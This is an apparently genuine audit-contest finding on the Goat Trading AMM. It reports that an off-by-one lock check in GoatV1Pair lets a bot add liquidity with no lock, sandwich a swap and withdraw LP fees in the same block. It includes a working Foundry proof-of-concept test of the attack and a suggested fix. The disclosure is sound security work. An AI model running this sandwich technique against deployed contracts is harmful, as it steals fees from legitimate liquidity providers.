Careful Cinnabar Kitten

high

# Incorrect check of locked liquidity on `GoatV1Pair::_beforeTokenTransfer` lets bots snipe LP fees

## Summary
A malicious user could sandwich swaps and steal LPs fees because of an incorrect check of locked liquidity on `GoatV1Pair::_beforeTokenTransfer`. The attacker can `addLiquidity`, earn fees, `removeLiquidity`, and withdraw fees earned within the same block. 

## Vulnerability Detail
On `GoatV1ERC20` (`GoatV1Pair`) when liquidity is minted, depending on the amount being minted, the liquidity is locked for a period of time.

https://github.com/sherlock-audit/2024-03-goat-trading/blob/beb09519ad0c0ec0fdf5b96060fe5e4aafd71cff/goat-trading/contracts/exchange/GoatV1ERC20.sol#L34-L43
```solidity
        uint32 lockUntil;
        if (_value > _totalSupply) {
            lockUntil = uint32(block.timestamp + _TWO_DAYS);
        } else {
            lockUntil = uint32(block.timestamp + ((_value * _TWO_DAYS) / _totalSupply));
        }

        if (lockUntil > _locked[_to]) {
            _locked[_to] = lockUntil;
        }
```

However, `lockUntil` can be `block.timestamp` if `((_value * _TWO_DAYS) / _totalSupply)) == 0` . This, because of an incorrect check on the `GoatV1Pair::_beforeTokenTransfer` function, lets a attacker sandwich swaps and make a profit out of it, stealing LPs profit.

The incorrect check is the following: 
https://github.com/sherlock-audit/2024-03-goat-trading/blob/beb09519ad0c0ec0fdf5b96060fe5e4aafd71cff/goat-trading/contracts/exchange/GoatV1Pair.sol#L917-L919
```solidity
        if (_locked[from] > timestamp) {
            revert GoatErrors.LiquidityLocked();
        }
```
Here, if `_locked[from] == timestamp`, the execution won't revert.

The attacker could `addLiquidity` calculating that the liquidity minted times `_TWO_DAYS` is less than `_totalSupply`, so the division truncates and rounds down to zero, and execute `addLiquidity` that way many times in a single transaction. This will let the attacker add a ton of liquidity without locking its LP tokens more than `block.timestamp`.

After the swap, the attacker earned fees unfairly, and can claim them and remove the liquidity that provided.

Add the following test to `test/foundry/periphery/GoatV1Router.t.sol` and run `forge test --mt testSnipingLpFeesOnAmm -vvv --via-ir`:

```solidity
function testSnipingLpFeesOnAmm() public {
        // Setting up the test
        _addLiquidityAndConvertToAmm();
        GoatV1Pair pair = GoatV1Pair(factory.getPool(address(token)));
        weth.transfer(swapper, 5e18);

        vm.startPrank(swapper);
        weth.approve(address(router), type(uint256).max);
        router.swapWethForExactTokens(5e18, 0, address(token), swapper, block.timestamp);
        vm.stopPrank();

        vm.warp(block.timestamp + 2 days);

        address sniperBot = makeAddr("sniper-bot");

        vm.startPrank(sniperBot);

        // Funding bot
        vm.deal(sniperBot, 200 ether);
        weth.deposit{value: 200 ether}();
        token.mint(sniperBot, 200 ether);

        weth.approve(address(router), type(uint256).max);
        token.approve(address(router), type(uint256).max);

        // Adding liquidity front-running swap
        // The bigger the swap, the more profitable

        uint256 balanceWethBefore = weth.balanceOf(sniperBot);
        uint256 balanceTokenBefore = token.balanceOf(sniperBot);

        uint256 liquidity = 0;
        {
            uint256 supply = pair.totalSupply();
            uint256 maxValue = (supply / 2 days) - 1;
            (uint256 wethReserve, uint256 tokenReserve) = pair.getReserves();

            uint256 wethToAdd = maxValue * wethReserve / supply;
            uint256 tokenToAdd = GoatLibrary.quote(wethToAdd, wethReserve, tokenReserve);

            GoatTypes.InitParams memory initParams = GoatTypes.InitParams(0, 0, 0, 0);
            for (uint256 i = 0; i < 100; ++i) {
                (,, uint256 liquidityAdded) = router.addLiquidity(
                    address(token), tokenToAdd, wethToAdd, 0, 0, sniperBot, block.timestamp, initParams
                );

                liquidity += liquidityAdded;
            }
        }
        vm.stopPrank();
  
        // Sandwiched swap
        vm.startPrank(swapper);
        token.approve(address(router), 5e18);
        router.swapExactTokensForWeth(
            5e18,
            0, // no slippage protection for now
            address(token),
            swapper,
            block.timestamp
        );
        vm.stopPrank();

        // Remove liquidity back-running swap
        vm.startPrank(sniperBot);
  
        pair.approve(address(router), liquidity);
        router.removeLiquidity(address(token), liquidity, 0, 0, sniperBot, block.timestamp);
        uint256 earned = pair.earned(sniperBot);
        pair.withdrawFees(sniperBot);
  
        vm.stopPrank();

        uint256 balanceWethAfter = weth.balanceOf(sniperBot);
        uint256 balanceTokenAfter = token.balanceOf(sniperBot);

        assert(earned > 0);
        /*
        The following two checks depend on the direction the sandwiched swap was made.
        Because of impermanent loss, the sniper bot will remove liquidity and have a different
        tokens proportion. If the bot swaps the excedent, it will recover its initial funds + profit.
        */
        // assert(balanceWethAfter > balanceWethBefore);
        assert(balanceTokenAfter > balanceTokenBefore);
    }
```
## Impact
An attacker can perform a sandwich attack on swaps to make an profit from the LPs fees. This effectively steals funds away from other legitimate LPs of the protocol.

## Code Snippet
https://github.com/sherlock-audit/2024-03-goat-trading/blob/beb09519ad0c0ec0fdf5b96060fe5e4aafd71cff/goat-trading/contracts/exchange/GoatV1Pair.sol#L886-L926
https://github.com/sherlock-audit/2024-03-goat-trading/blob/beb09519ad0c0ec0fdf5b96060fe5e4aafd71cff/goat-trading/contracts/exchange/GoatV1ERC20.sol#L33-L49

## Tool used

Manual Review

## Recommendation

Modify the check on `GoatV1Pair::_beforeTokenTransfer` so if tokens are locked for that timestamp, it will revert.
```diff
- if (_locked[from] > timestamp) {
+ if (_locked[from] >= timestamp) {
      revert GoatErrors.LiquidityLocked();
  }
```
Although this modification improves the security against this type of attack, depending on the chain the protocol will be deployed, it can be effective or not. There are two possible additional mitigations:

1) Do not allow multiple calls to `mint` on the same `block.timestamp`.

2) Consider adding a minimum amount of seconds as lock for pair tokens. To mitigate a possible DoS to LPs this can cause, consider adding checks on `GoatV1Router` on functions that add liquidity and on the `mint` function in `GoatV1Pair`, just allowing the sender to mint tokens for itself and not for others.